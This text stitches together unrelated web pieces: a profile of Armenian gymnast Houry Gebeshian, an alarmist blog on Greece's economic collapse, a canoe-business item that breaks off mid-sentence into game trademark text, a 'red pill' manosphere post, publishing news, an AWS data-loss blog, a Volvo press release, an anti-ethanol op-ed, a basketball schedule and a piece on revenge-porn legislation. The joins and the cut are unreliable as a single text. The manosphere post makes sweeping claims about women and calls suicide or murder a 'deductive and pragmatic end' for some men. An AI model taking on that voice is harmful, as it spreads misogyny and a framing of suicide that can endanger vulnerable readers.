Going back to the gym required some pride-shelving, as Gebeshian got her body back into shape and then started attempting tricks and routines again. “It was so embarrassing,” she said, “and I would come home and be like, ‘Ugh, gym was terrible, everyone was looking at me like I was a weirdo.’”
But it paid off. “It was a process,” Gebeshian said. “I made a plan and I stuck to it, and it took a lot of determination and dedication and discipline, and it worked out.” And, for the young girls who were watching her, it was an education. “I think it was really great for the kids at the gym, because they got to see somebody who had a goal and was determined to make that goal happen,” she said.
In Gebeshian’s eyes, the fact that she had to start from scratch only benefitted the younger gymnasts who shared the gym with her. “It was actually a good thing that I looked like an idiot when I started,” she said, “because they could actually see the transition and see what it takes.”
Joan Ganim, the co-owner of Gymnastics World, agrees. “She’s been such an example to all my students, because she’s showing determination, she has such a great work ethic, and she pushes herself without anyone telling her what to do.”
Gym World #twinning with @aleciafarina and @tessa_phillips #notplanned #coincidence #gymworld #RoadToRio #HootingForHoury A photo posted by Houry Gebeshian 🇦🇲 (@hourygebeshian) on Feb 22, 2016 at 2:13pm PST
By the time the 2015 World Championships in Glasgow were approaching, the Armenian coaches knew about her, though they weren’t helping her out with funding. “They didn’t know who I was, they didn’t know what I could offer,” Gebeshian said. “Which I understood, and I said, ‘Fine. I will prove to you that I am someone who is legitimate.’”
To give her a chance to prove that she could handle competing on the world stage, they sent her to the 2015 European Championships. She could, indeed, handle it; she placed 19th. Now, still working full time (slogging through round-the-clock shifts several days a week in the labor and delivery department), she started looking ahead to the World Championships. She competed in Glasgow and placed 68th, strong enough to qualify for a test event in Rio, where she again placed high enough to qualify for the next event. And the next event was the 2016 Olympic Games.
For her trip to Rio, she was assigned an Armenian coach, though not a coach of women’s gymnastics. His expertise was in the men’s side of the sport, and “he didn’t know women’s gymnastics that well,” Gebeshian said. He was largely assigned to her because he spoke English, “and he was really supportive,” she said. “He turned out to be really helpful.”
How is this story not a screenplay yet? Because if this were a screenplay, you’d tell the writer to cut one of these obstacles from the heroine’s journey, because it’s all starting to be a bit much. Did Gebeshian ever worry that she wouldn’t make it? That she would get hurt, or embarrass herself at the biggest competition in the world, or do more damage than good to the cause of women’s gymnastics in Armenia?
“I really didn’t,” she said. “I had two goals. One was to get me to the Olympics, and the other was to get Armenia to the Olympics. I knew there were going to be obstacles, but I knew what I had to do to get there.”
And in Rio, Gebeshian had the best meet of her life. She competed in a fan-designed leotard – white, with a mountain range drawn out in crystals, a tribute to Armenia – and stuck all four of her routines. She performed her signature mount on bars, jumping over the low bar, completing a full twist in the space between the low and high bar, before grabbing the high bar and launching into the rest of her routine. As she was the first person to perform it in an international competition, it will forever be named after her. When her bar routine was over, she hugged the bars. When her beam routine was over, she kissed the beam.
Athit Perawongmetha / Reuters Gebeshian competes on the uneven bars in Rio.
She didn’t perform well enough to qualify for all-around finals, but that didn’t diminish what she’d accomplished. She became Armenia’s first-ever female Olympic gymnast, and, by creating a new skill, advanced the sport of gymnastics. The miserable months of conditioning had paid off, and the outlandish announcements that she was going to be an Olympian had come true.
Gebeshian’s story has all the hallmarks of stirring propaganda about the power of the American dream – you know, bootstraps, stick-to-it-ness, ignoring the doubters. Asked if it struck her that her story sounds like a classically American one, even though she competes for Armenia, she says she can see the echoes of the American dream in what she’s achieved, but she credits her upbringing “as an Armenian woman,” too. “That dedication and determination and discipline, that mix of being an Armenian-American is really what pushed me to get here,” Gebeshian said. “It’s a mesh of both cultures. I really think that it took both.”
Still, she’s found far more support in the U.S. than she has in Armenia, where women’s gymnastics, she said, is woefully underdeveloped. “We don’t have any funding going to our women’s program,” she said. “It’s still a very male-dominated society, I would say.” The men don’t get extravagant support either, Gebeshian said, but what little money goes to gymnastics goes to them. “I think it’s just evolved that all the funding goes to the men, and on the women’s side it’s more a recreational program and they don’t have the coaching or the resources to build anything,” she said.
Damir Sagolj / Reuters Gebeshian training in the Olympic arena before the start of competition in Rio.
Gebeshian wants to change that. “The reason why I did this is to get more recognition and support and funding for women in Armenia, especially in the gymnastics community,” she said. “So I hope that I can give back, and all the funds that I’ve raised through my GoFundMe will go to that.”
But if she wants to do that, it’ll once again be up to her. She met with the Armenian president while in Rio, and asked him for help. Gebeshian said he was not helpful: “I said, ‘This is my goal, this is what I really want to do, how can we make this happen?’” His response? “He was like, ‘Well, you’ve done a good job starting this, it’s on you to make it happen.’”
She tried to convey that she was hoping for some government support, arguing that there are talented young gymnasts already training in Armenia, who could make it to the world stage if given some funding and coaching. “And he said, ‘You get a team together and make it happen.’ I’m not sure how I’m supposed to do that, but that is my goal,” Gebeshian said. “I guess all the weight is on my shoulders.”
The president’s response is disappointing, to be sure. But it means that we already know exactly what the Houry Gebeshian movie sequel will be about.When the political and economic systems of entire nations collapse the consequences are devastating.
Earlier this year pharmacies and hospitals in Greece were unable to provide life saving medicines due to a shortages caused by a freeze in the flow of credit from manufacturers to distributors to patients. A collapse in the country’s economy has forced many Greeks to turn to black market barter economies and has left millions financially devastated, with no hope of finding an income stream for the foreseeable future.
The credit system of the entire country is in shambles. So much so that reports are emerging about food shortages and hunger within the Greek prison system, suggesting that serious problems in the food delivery chain have begun to materialize.
As Nigel Farage warned recently, we are beginning to see the rise of extreme political parties as a consequence of the total and utter desperation of the populace.
Today the news gets even worse. Greece’s Regulatory Authority for Energy (RAE) announced an emergency meeting to deal with what can only be construed as a tell-tale sign that this crisis is very rapidly reaching critical mass and may spiral out of control in the very near future:
Greece’s power regulator RAE told Reuters on Friday it was calling an emergency meeting next week to avert a collapse of the debt-stricken country’s electricity and natural gas system. “RAE is taking crisis initiatives throughout next week to avert the collapse of the natural gas and electricity system,” the regulator’s chief Nikos Vasilakos told Reuters. RAE took the decision after receiving a letter from Greece’s natural gas company DEPA, which threatened to cut supplies to electricity producers if they failed to settle their arrears with the company. Source: Reuters
You may have thought the financial collapse of 2008 was bad.
That was just a warm up. The main event is staring us in the face, and the whole of Europe has front row seats.
We’ve repeatedly warned about what author James Rawles portrays in his fictional yet prescient account of the effects an economic collapse has on a society. In his book Patriots (and his follow up Survivors) Rawles details the loss of confidence in a nation’s currency and credit, a collapse of basic services, the emergence of bartering, the collapse of power grids and supply infrastructure due to lack of money and labor, the rise of political extremes, and even the civil unrest and war that follows.
Do you still think this can only happen in fiction novels?
We are now seeing the first signs of this happening inside of the European Union – the largest economic zone in the world.
If there’s is one thing we can surmise based on the last four years, it’s that the contagion is spreading and it cannot be contained.
Today it’s Greece. Tomorrow it could be your hometown.A Seminole man recently started up a new company called See Through Canoes that pairs a transparent canoe with a customized wireless remote controlled electric motor.
The owner, Michael McCarthy, said he got the idea while trying to cast net fish from a regular canoe.
"It's difficult to paddle and throw a cast net," he said. "Once I put the motor on there, I'm thinking, well gosh, who's not going to want to cruise around in a transparent canoe with a quiet electric motor that makes no sound?"
McCarthy assembles the canoes in his Seminole garage and said he started selling them about six months ago. So far, he's sold about a dozen canoes - but none in the Bay area.
"Just sent one to Nebraska of all places," he said. "We get a lot of orders from the Virgin Islands, but not right here yet. It's $2,300 just for the canoe. If you'd like the wireless motor and the ultimate in coolness, it's another $1,000."
McCarthy said that price includes shipping to anywhere in the country and you can buy |
athotep Companion is a supplement for the Call of Cthulhu game, and requires the Call of Cthulhu rulebook and the Masks of Nyarlathotep campaign, both published by Chaosium, Inc., to play.
www.chaosium.com
Call of Cthulhu® is the registered trademark of Chaosium, Inc. and is used under license.
The names, descriptions, and depictions applied to this supplement are derived from works copyrighted by and include trademarks owned by Chaosium, Inc., and may not be used or reused without its permission.One of the cornerstones of red pill truth is in men coming to terms with what amounts to (in most cases) half a lifetime of feminine conditioning. It’s interesting to consider that there was a time (pre-sexual revolution) when a man wasn’t in someway socialized and acculturated in his upbringing to give deference to the feminine or to become more feminine-identifying. There are plenty of other manosphere bloggers who’ll run down in detail all of the many ways boys are now raised and educated to be what a feminine-primary world would like them to be, but at the heart of it is a presumption that boys should be raised and conditioned to be more like girls; conditioned from their earliest memories to be better providers for what women believe they will eventually want them to be as adult ‘men’.
For men who’ve become aware of this conditioning through some trauma or personal crisis that prompted him to seek answers for his condition, we call this period our blue pill days. I think it’s important to make a distinction about this time – whether or not a man is Alpha or Beta doesn’t necessarily exclude him from the consequences of a blue pill conditioning. That isn’t to say that a more natural Alpha Man can’t see the world in a red pill perspective by his own means, but rather that his feminine-primary upbringing doesn’t necessarily make a man Alpha or Beta.
The Blue Pill Alpha
I’m making this distinction because there is school of thought that being blue pill (unaware of one’s conditioning) necessitates him being more Beta. To be sure, feminine-primary conditioning would raise a boy into a more feminine-pliable man – ready to serve as the good Beta provider when a woman’s SMV declines and she’s less able to compete with her younger sexual competitors.
However, there exist more Alpha Men also conditioned to be servants of the Feminine Imperative. These men make for some of the most self-evincing White Knights you’ll ever meet and are usually the first men to “defend the honor” of the feminine and women for whom they lack a real awareness of. Binary absolutism and an upbringing steeped in feminization makes for a potent sense of self-righteousness. Blue pill Alphas live for the opportunity to defend everything their conditioning has taught them. To the blue pill Alpha all women are victims by default, all women share a common historic suffrage and any man (his sexual competitors) critical of the feminine are simply an opportunity to prove his worth to any woman in earshot who might at all find his zealousness attractive.
The Second Set of Books
On June 15th, 2011, Thomas Ball set himself on fire in front of Cheshire Superior Court in New Hampshire. While I strongly disagree with his decision to self-immolate, I understand his sentiment. In last week’s Possession, Living Tree attempted to call me to the carpet about how a man might come to the conclusion of suicide or murder once he’d become confronted with a total loss of all his personal and emotional investment in life:
But Rollo, you just justified murder as “logical”, by illustrating that insecurity is the prime motivator for this man’s life (and many others, I’d imagine). The decision may have be understandable in an empathetic sense, and he might have seen it as logical at the time, but there is nothing logical about it. You are making extreme beta-ism seem more and more like a mental disorder.
Just for the record, I’d argue that ONEitis, however extreme, is in fact a mental disorder.
I haven’t justified anything, murder or suicide, I’ve simply outlined the deductive process men use when confronting the actualized loss of their most important investment (or perceptually so) in life. They are convinced and conditioned to believe that women are playing by a set of rules and will honor the terms of those rules, only to find that after ego-investing themselves for a lifetime in the correctness and appropriateness of those rules does he discover in cruel and harsh terms that women are playing by another set of rules and wonder at how stupid he could be to have ever believed in the rules he was conditioned to expect everyone would abide by.
Suicide or murder is certainly a deductive and pragmatic end for some men, but by no means is it justified. Thomas Ball, for all of his due diligence in uncovering the ugly processes of the American divorce industry, was far more useful alive than dead in some symbolic suicide. He wasn’t the martyr he probably expected he’d be, he’s just a footnote.
For all of that, Thomas Ball and his last message to humanity serves as an excellent illustration of a man coming to terms with his own conditioning. In his message Ball makes a very important observation about his legal ordeals. He comes to understand that there are two sets of books rather than the one he’d been lead to believe that everyone understood as ‘the rules’ everyone should play by.
The confusion you have with them is you both are using different sets of books. You are using the old First Set of Books- the Constitution, the general laws or statutes and the court ruling sometime call Common Law. They are using the newer Second Set of Books. That is the collection of the policy, procedures and protocols. Once you know what set of books everyone is using, then everything they do looks logical and upright.
Ball was of course making a political statement in his account of going through the legal system and the cruel education he got in the process, but when men transition from their comfortable blue pill perspective into the harsh reality that the red pill represents, the experience is a lot like Ball discovering that the set of books (the set of rules) he’d believed everyone was using wasn’t so. Likewise, men who’ve been conditioned since birth to believe that women were using a common set of rules – a set where certain expectations and mutual exchange were understood – were in fact using their own set. Furthermore these men ‘just didn’t get it’ that they should’ve known all along that women, as well as men’s feminization conditioning, were founded in a second set of books.
In and of itself, this is a difficult lesson for young men to learn and disabuse themselves of before they’ve invested their most productive years into what their blue pill conditioning has convinced them they can expect from life and women. However, when a mature man, who’s based the better part of his life and invested his future into the hope that the first set of books is actually legitimate set is disenfranchised by the second set of books, by the actual set of rules he’s been playing with, that’s when all of the equity he believed he’d established under the first set of books counts for nothing. Literally his life (up to that point) counted for nothing.
When faced with the prospect of rebuilding himself after living so long under false pretenses, after having all he believed he was building turn up to be a lifetime of wasted effort, he’s faced with two real options. Recreate himself or destroy himself. Needless to say suicide statistics among men are a strong indication that the majority of men (Betas) simply don’t have the personal strength to recreate themselves. Thomas Ball didn’t.
There’s usually a lot of disillusionment that comes with making the transition to Red Pill awareness. I’ve written more than a few posts about the stages of grief and acceptance that come along with that transition. Guy’s get upset that what they now see was really there all along, but it’s not so much the harshness of seeing red pill dynamics in women or a feminized society play out with such predictability, it’s the loss of investment that cause the real sense of nihilism. When I wrote Anger Management, the overarching reason most men experienced what they called a righteous anger, wasn’t at how the second set of books had been dictating their lives for so long, but rather it was anger at having invested so much of themselves in the first set of books and losing that very long term investment.
The good news is you can rebuild yourself. A lot gets written about how nihilistic the red pill is, but this is for a lack of understanding that you can recreate yourself for the positive with the knowledge of both sets of rules. One common thread I see come up often on the Red Pill Reddit forum is how Game-awareness has completely destroyed a guy’s world view. I get it, I realize it’s a hard realization, but their depression is only for a lack of realizing that they can become even better in this new understanding than they were in their blue pill ignorance.
Like this: Like Loading...Fans face a long wait for the sixth novel in the bestselling A Song of Ice and Fire series, but a new edition of three previously anthologised novellas set in the Game of Thrones world is due in October
Another year of waiting for The Winds of Winter to blow is in store for fans of George RR Martin, as his publisher confirmed there are no plans for the much-anticipated latest volume from his A Song of Ice and Fire series to appear in 2015. Instead, readers will have to comfort themselves with an illustrated edition of three previously anthologised novellas set in the world of Westeros.
A Knight of the Seven Kingdoms takes place nearly a century before the bloody events of the A Song of Ice and Fire series, when the Iron Throne was still held by the Targaryens. Out in October, it is a compilation of the first three official prequel novellas to the series, The Hedge Knight, The Sworn Sword and The Mystery Knight, never before collected, and now set for release in a new illustrated edition.
Martin’s publisher Jane Johnson at HarperCollins promised that fans will pick up all sorts of clues from reading them.
Game of Thrones season five trailer: masks, snakes, blood and dragons Read more
“The novellas,” said Johnson, “are illustrated in black and white line drawings throughout by Gary Gianni in classic style. It will be a truly lovely book, and I adore these clever, funny stories.” They “give fascinating insights into the ongoing story, from the point of view of Ser Duncan the Tall, a hedge knight, and his squire Egg – who may be rather more than he first seems,” she said. “The short novels have been previously published in separate anthologies but never put together before, and this will be a particularly beautiful edition.”
However, Johnson confirmed that The Winds of Winter, the next novel in the series that has been filmed by HBO as A Game of Thrones, is not in this year’s schedule. “I have no information on likely delivery,” she said. “These are increasingly complex books and require immense amounts of concentration to write. Fans really ought to appreciate that the length of these monsters is equivalent to two or three novels by other writers.”
Baddies in books: Joffrey Baratheon, king of villains Read more
Readers have been waiting to get their hands on The Winds of Winter ever since Martin published the fifth book in his bestselling series, A Dance with Dragons, in 2011, with their appetite only whetted by the release of extracts online. The novelist was forced to damp down excitement in December, when a “12 days of Christmas” promotion for his books led them to speculate that its release was imminent.
George RR Martin's fantasy is not far from reality Read more
“Somehow, from somewhere, the rumour arose that the ‘12 Days’ were actually a countdown... not to Xmas, but to the publication of The Winds of Winter, or the announcement of its completion and/or pub date,” blogged the novelist.
George RR Martin offers to screen The Interview at his own cinema Read more
“Sorry. Not true. Look, I’ve said before, and I will say again, I don’t play games with news about the books. I know how many people are waiting, how long they have been waiting, how anxious they are. I am still working on Winds. When it’s done, I will announce it here. There won’t be any clues to decipher, any codes or hidden meanings, the announcement will be straightforward and to the point. I won’t time it to coincide with Xmas or Valentine’s Day or Lincoln’s Birthday, the book will not rise from the dead with Jesus on Easter Sunday. When it is done, I will say that’s it is done [sic], on whatever day I happen to finish. I don’t know how I can make it any clearer.”
In the past, Martin’s fellow fantasy novelist Neil Gaiman has sprung to his defence in the wake of criticism from fans over his writing pace. “George RR Martin is not your bitch,” Gaiman blogged in 2009, as readers clamoured for A Dance with Dragons. “This is a useful thing to know, perhaps a useful thing to point out when you find yourself thinking that possibly George is, indeed, your bitch, and should be out there typing what you want to read right now. People are not machines. Writers and artists aren’t machines.”Happy Friday! We deleted all your data!
Phil Blocked Unblock Follow Following Mar 31, 2017
Update: I got my data back! RDS is very confusing (what else is new with an AWS service?).
Update: The automatic manual snapshot of my database created just before it was deleted.
I’m building this cool app. It scrapes a bunch of interesting data, does some machine learning and natural language processing magic, blends in some user-generated content, and… does something useful. It’s a work in progress.
psql: could not translate hostname for my database: Name or service not known
Over the last two months I’ve been stuffing my Amazon RDS Postgresql instance with a daily scrape of raw data, plus thousands of manually parsed pieces of training data. It’s ~~on the cloud~~, but don’t worry! I have daily snapshot backups!
Amazon RDS event log this morning: “DB instance shutdown”, then “DB instance deleted”.
I couldn’t connect to my database this morning. A quick call with support revealed that the credit card on file had been declined, and I was past due on charges. Twenty dollars worth! The support rep un-suspended my account for another month, I added a new card and payed off the charges, and was back in.
Amazon RDS FAQ: “Automated backups are deleted with the DB Instance is deleted. Only manually created DB snapshots are retained after the DB instance is deleted.”
My RDS instance had vanished with barely a trace: only a few notes in the events log about its deletion. It seems a bit harsh to me to immediately start deleting instances on account suspension. A grace period would be nice. Surely there’s a grace period before deleting S3 objects, where RDS snapshots are stored?
It doesn’t matter, because RDS deletes all your automatic snapshots when you delete your instance. Or when they delete it, because your account was suspended for a few hours.
The end. Happy Friday.
Update: Amazon didn’t delete all my data when they suspended my account. I didn’t find a written policy guaranteeing this, but at least in my case, AWS automatically took a manual snapshot before terminating my RDS instance, and manual snapshots don’t get automatically deleted. I didn’t notice the automatic manual snapshot in the list with my manual manual snapshots from January.
It was a roller-coaster of a day, but I’m now happily back up with all the data I had before the suspension. Phew!Volvo Car Group initiates world unique Swedish pilot project with self-driving cars on public roads
Volvo Cars will play a leading role in the world’s first large-scale autonomous driving pilot project in which 100 self-driving Volvo cars will use public roads in everyday driving conditions around the Swedish city of Gothenburg.
The ground-breaking project ‘Drive Me – Self-driving cars for sustainable mobility’ is a joint initiative between Volvo Car Group, the Swedish Transport Administration, the Swedish Transport Agency, Lindholmen Science Park and the City of Gothenburg.
The ‘Drive Me’ project is endorsed by the Swedish Government. The aim is to pinpoint the societal benefits of autonomous driving and position Sweden and Volvo Cars as leaders in the development of future mobility.
“Autonomous vehicles are an integrated part of Volvo Cars’ as well as the Swedish government’s vision of zero traffic fatalities. This public pilot represents an important step towards this goal,” says Håkan Samuelsson, President and CEO of Volvo Car Group. “It will give us an insight into the technological challenges at the same time as we get valuable feedback from real customers driving on public roads.”
The pilot will involve self-driving cars using approximately 50 kilometres of selected roads in and around Gothenburg. These roads are typical commuter arteries and include motorway conditions and frequent queues.
“Our aim is for the car to be able to handle all possible traffic scenarios by itself, including leaving the traffic flow and finding a safe ‘harbour’ if the driver for any reason is unable to regain control,” explains Erik Coelingh, Technical Specialist at Volvo Car Group.
Focus areas
The ‘Drive Me’ project will focus on a number of areas, such as:
How autonomous vehicles bring societal and economic benefits by improving traffic efficiency, the traffic environment and road safety
Infrastructure requirements for autonomous driving
Typical traffic situations suitable for autonomous vehicles
Customers’ confidence in autonomous vehicles
How surrounding drivers interact smoothly with a self-driving car
The project will commence in 2014 with customer research and technology development, as well as the development of a user interface and cloud functionality. The first cars are expected to be on the roads in Gothenburg by 2017.
Joining forces
Recognising that growing urbanisation continues to put pressure on transport systems in and around urban areas all over the world, ‘Drive Me’ addresses the need to join forces in the quest to develop a sustainable society and mobility.
“The public pilot will provide us with a valuable insight into the societal benefits of making autonomous vehicles a natural part of the traffic environment. Smart vehicles are part of the solution, but a broad societal approach is also necessary to offer sustainable personal mobility in the future. We believe that this cross-functional co-operation can give this development a boost,” says Erik Coelingh.
Unique teamwork
“Sweden has developed unique co-operation between the authorities, the industry and the academic community. This has resulted in a world-leading position in traffic safety. Autonomous vehicles and a smarter infrastructure will bring us another step towards even safer traffic and an improved environment. It will also contribute to new jobs and new opportunities in Sweden,” says Catharina Elmsäter-Svärd, the Swedish Minister for Infrastructure.
Enriching city life
The ‘Drive Me’ project will help define the role of self-driving vehicles in future city planning. By paving the way for more efficient land use they can contribute to reducing infrastructure investments. Self-driving vehicles can also enrich city life in other ways, such as by lowering emissions and thus improving air quality and traffic safety.
Making Gothenburg the arena for this unique public pilot is a strong demonstration of the city’s aim to pioneer the development of efficient, clean and safe urban transportation systems.
Individual benefits
Autonomous driving will give significant consumer benefits. It will fundamentally change the way we look at driving cars. As a driver in the future, you will be able to plan your drive with a mix of autonomous and active driving, making your daily journey more efficient.
Autonomous driving will pave the way for more efficient time-management behind the wheel. You will be able to interact safely via phone or tablets or simply choose to relax.
“The self-driving technology used in the pilot allows you to hand over the driving to the car when the circumstances are appropriate,” says Håkan Samuelsson.
Prepared for autonomous drive
The vehicles in the pilot project are defined as Highly Autonomous Cars, according to the official definition by the Federal Highway Research Institute (BASt) in Germany. In practical terms this means that the responsibility is handed over to the vehicle, which can handle all driving functions at the driver's discretion. The driver is expected to be available for occasional control but with a sufficiently comfortable transition time.
The 100 Volvo cars driven by customers will be new models developed on the company’s upcoming Scalable Product Architecture (SPA). The architecture is prepared for the continuous introduction of new support and safety systems all the way to technologies that enable highly autonomous drive. The first SPA model will be the all-new Volvo XC90, which will be introduced in 2014.
Autonomous parking included
The project also includes fully automated parking, without a driver in the car. This allows the driver to walk away from the car at the parking entrance while the vehicle finds a vacant spot and parks by itself.
“Our approach is based on the principle that autonomously driven cars must be able to move safely in environments with non-autonomous vehicles and unprotected road users,” says Erik Coelingh.
Note to editors: Additional video footage and imagery from today's press conference in Stockholm wil be published on the Global Newsroom later today.
Media contacts
Volvo Car Group Volvo Cars Media Relations Phone: +46 31-596525 media@volvocars.com
City of Gothenburg
Carin Malmberg
Phone: +46-31-368 05 33
E-mail: carin.malmberg@stadshuset.goteborg.se
Swedish Transport Administration
Monica Näslund
Phone: +46-70-724 55 75
E-mail: monica.naslund@trafikverket.se
Swedish Transport Agency
Henrik Olars
Phone: +46-10- 495 4042
E-mail: henrik.olars@transportstyrelsen.se
Lindholmen Science Park
Anita Bengtson
Phone: +46-703-950222
E-mail: anita.bengtson@lindholmen.seLast November, when the Environment Protection Agency (EPA) proposed moderating years of escalating mandates by reducing the amount of ethanol that must be mixed into gasoline, a top ethanol lobbyist seemed perplexed. "We're all just sort of scratching our heads here today and wondering why this administration is telling us to burn less of a clean-burning American fuel," Bob Dineen, head of the Renewable Fuels Association, told The New York Times.
Here are a few possible reasons why: America's ethanol requirement destroys the environment, damages car engines, increases gas prices, and contributes to the starvation of the global poor. It's an unmitigated disaster on nearly every level.
Start with the environment. After all, when the renewable fuel standard (RFS), which since 2005 has set forth a minimum annual volume of renewable fuels nationwide, was first set, one of the primary arguments for mandating ethanol use was that it was a greener, more environmentally friendly source of fuel that released fewer greenhouse gasses into the atmosphere.
This turns out to be complete hogwash. Researchers have known for years that, when the entire production process is taken into account, most supposedly green biofuels actually emit more greenhouse gasses than traditional fuels.
Some proponents of the ethanol mandate have argued that the requirement was nonetheless necessary in order to spur demand for and development of more advanced, environmentally friendly biofuel like cellulosic ethanol, which is converted into fuel from corn-farm leftovers. But there are two serious problems with cellosic ethanol. The first is that cellulosic ethanol turns out to be rather difficult to produce; despite EPA projections that the market would produce at least 5 million gallons in 2010 and 6.6 million in 2011, the United States produced exactly zero gallons both years—and just 20,069 gallons in 2012.
The second is that cellulosic ethanol is also bad for the environment. At least in the short-term, the corn-residue biofuels release about 7 percent more greenhouse gases than traditional fuels, according to a federally funded, peer-reviewed study that appeared in the journal Nature Climate Change last month.
The environmental evidence against ethanol seems to mount almost daily: Another study published last week in Nature Geoscience found that in São Paulo, Brazil, the more ethanol that drivers used, the more local ozone levels increased. The study is particularly important because it relies on real-world measurements rather than on models, many of which predicted that increased ethanol use would cause ozone levels to decline.
To make things worse, ethanol requirements are bad for cars and drivers. Automakers say that gasoline blended with ethanol can damage vehicles by corroding fuel lines and injectors. An ethanol glut caused by a misalignment of regulatory quotas and demand has helped drive up prices at the pump. And the product is actually worse: ethanol blends are less energy dense than regular gasoline, which means that cars relying on it significantly worse mileage per gallon.
American drivers have it bad, but the global poor have it far worse. Ethanol requirements at home have helped drive up the price of food worldwide by diverting corn production to energy, which dramatically reducing the available calorie supply. A 25-gallon tank full of pure ethanol requires about 450 pounds of corn—roughly the amount of calories required to feed someone for a year. Some 40 percent of U.S. corn crops go to ethanol production, which in effect means we're burning food for automobile fuel rather than eating it. Studies by economists at the World Bank have found that a one percent increase in world food prices correlates with a half-percent decrease in calorie consumption amongst the world's poor. When world food prices spiked between 2007 and 2008, between 20 and 40 percent of the effect was attributable to increased global reliance on biofuels. The effect on world hunger is simply devastating.
Ethanol lobbyists are still pretending the renewable fuels mandate is a success, and Senators from corn-friendly states in the Midwest are still urging the agency not to proceed with the proposed reduction to the mandate. But at this point, ethanol requirements have few serious defenders except the people who profit from its production and the politicians who rely on those people for votes and campaign contributions.
Judging by the cut it proposed last November, even the EPA seems to be wavering. A final regulation has yet to be submitted, but the proposal would reduce the amount of renewable fuels the agency requires this year from 18.15 billion gallons to 15.2 billion gallons. That's if the EPA sticks to its original plan. The agency is under heavy pressure to moderate its proposed cuts, or avoid them entirely.
Those cuts, if approved, would represent a productive step forward. But they wouldn't be enough. Congress should vote to repeal the renewable fuel standard entirely. The federal government shouldn't be telling people to burn less ethanol; it shouldn't be telling anyone to burn any of it at all.SAN FRANCISCO - The Pac-12 Conference has released the weekly matchups and site designations for the league's 2016-17 men's basketball season.
The announcement reflects the games being played and the home/away designations each week of the Pac-12 regular season. Specific dates and times for each game within a week will be announced later this summer after selections by the league's television partners are finalized. All Conference games will be televised by either ESPN, FOX, CBS or Pac-12 Network.
Tip-off of the league's regular season will begin no earlier than Wednesday, Dec. 28, 2016. Opening week will be highlighted by traditional rivalry games between COLORADO and UTAH and in the Apple Cup between WASHINGTON and WASHINGTON STATE, as well as defending conference champion OREGON hosting UCLA and USC.
The midpoint of the 18-game conference slate - week of Jan. 23-29 - will feature a rematch of the 2016 Pac-12 Tournament title game with Oregon visiting UTAH along with rivalry games between CALIFORNIA and STANFORD, and UCLA and USC.
Regular-season play will conclude on Saturday, March 4, 2017, with the final week highlighted by rivalry games in the Civil War series between Oregon and Oregon State and the Territorial Cup between ARIZONA and ARIZONA STATE ahead of the Pac-12 Tournament's debut at the new T-Mobile Arena in Las Vegas from March 8-11.
Pac-12 men's basketball enjoyed one of its most exciting and competitive seasons in 2015-16. A record seven teams earned bids to the 2016 NCAA Tournament, nine teams finished the year ranked in the RPI Top 100, all 12 teams posted Top 100 Strengths of Schedule, and league play featured seven matchups between AP Top 25 teams, the most for the conference since 2007-08.
2015-16 Pac-12 All-Conference performers Dillon Brooks (OREGON), Isaac Hamilton (UCLA) and Ivan Rabb (CALIFORNIA) headline the list of the league's top returners, and the Conference is slated to add 18 freshmen rated in Scout's Class of 2016 Top 100 recruit rankings, the second-most of any league in the country.
2016-17 Pac-12 Conference Men's Basketball Weekly Pairings (Wednesday-Sunday)
Week of Dec. 28-Jan. 1
Arizona/Arizona State at California/Stanford
UCLA/USC at Oregon/Oregon State
Colorado at Utah
Washington State at WashingtonLaw Prof Writing Revenge Porn Legislation Wants To Upend Safe Harbors On The Internet 'For The Children'
from the let's-nuke-the-internet-to-kill-that-one-thing dept
It's pretty much universally accepted that "revenge porn" is a bad thing and that steps should be taken to prevent the posting of someone's private photos (usually along with contact info) at various websites that entertain the small minds that find this cathartic or fascinating or hilarious (and, of course, it's even worse that many of these sites then try to charge people to take down their photos).
Unfortunately, because it's so thoroughly reviled, attempts to curtail revenge porn tend to be poorly thought out. One bad law can do an awful lot of collateral damage -- something those actively pushing legislative solutions tend to forget in their hurry to rid society of unpleasantness.
Mary Anne Franks, a law professor at the University of Miami, has been pushing to get revenge porn criminalized. To that end, she is helping draft a bill with an (unnamed) member of Congress. The problems with her proposed legislation are several. Houston defense attorney Mark Bennett has unpacked the First Amendment implications (mostly negative) of her proposed law in two excellent and thorough posts over at his blog, Defending People.
A overly-simplified reduction of Franks' arguments in favor of the proposed law boils down to this: because it's unpleasant and most people would find it offensive, it isn't protected by the First Amendment. Bennett disassembles each point she makes and they all seem to come back to this.
Franks: "The First Amendment does not serve as a blanket protection for malicious, harmful conduct simply because such conduct may have an expressive dimension. Stalking, harassment, voyeurism, and threats can all take the form of speech or expression, yet the criminalization of such conduct is common and carefully crafted criminal statutes prohibiting this conduct have not been held to violate First Amendment principles. The non-consensual disclosure of sexually intimate images is no different."
There is a world of difference between “The First Amendment does not serve as a blanket protection for malicious, harmful conduct” and “malicious, harmful conduct is unprotected.”
Franks makes a number of such assertions as “the non-consensual disclosure of sexually intimate images is no different,” but stamping her foot and insisting that it’s so doesn’t make it so. Even if a law professor is incapable, a competent lawyer can always find a difference between two things. One important difference between the disclosure of sexually intimate images on the one hand, and the conduct of harassment, threats, and stalking on the other, is that a statute forbidding the former is necessarily content-based, so it must meet strict scrutiny.
“It’s kinda like harassment” doesn’t overcome the obstacle of strict scrutiny, especially since the Supreme Court has never upheld a criminal harassment statute.
Websites that specialize in revenge pornography cannot currently be forced by state law to remove content because Section 230 of the federal Communications Decency Act grants Internet companies legal immunity if third-party content doesn't violate federal copyright or criminal law.
"A lot of companies are under the impression they can't be touched by state criminal laws," Franks said, because "Section 230 trumps any state criminal law."
The Communications Decency Act, however, doesn't trump federal criminal law, she said, pointing to child pornography.
"The impact [of a federal law] for victims would be immediate," Franks said. "If it became a federal criminal law that you can't engage in this type of behavior, potentially Google, any website, Verizon, any of these entities might have to face liability for violations."
"Hopefully," she said, "we would develop a similar take-down notice regime that we see in a copyright context, which means that anytime a victim becomes aware that [their] picture is on one of these websites without their consent, [they] can notify the website, [they] can notify Google, [they] could notify all the people inadvertently helping the image get shown... that this is nonconsensual material and needs to be taken down."
Well, that didn’t take long at all. In their zeal to end revenge porn, which no one disputes is a blight on the internet, Franks and her ilk are more than happy to destroy free speech on the internet. After all, what’s free speech when compared to their feelings?
I do want to point out that neither the EFF nor the ACLU has expressed opposition to any specific law that I have personally drafted. I have sent my draft statutes to members of both organizations and am awaiting their responses.
Notice the attempt to weasel out of reality, “any specific law that I have personally drafted”? Franks neglects to mention that she sent an email to an EFF non-lawyer advocate, who was never an appropriate person to contact and who didn’t respond to her personal email, and has tried to parlay this by claiming these organizations don’t oppose her, in a deliberate effort to mislead.
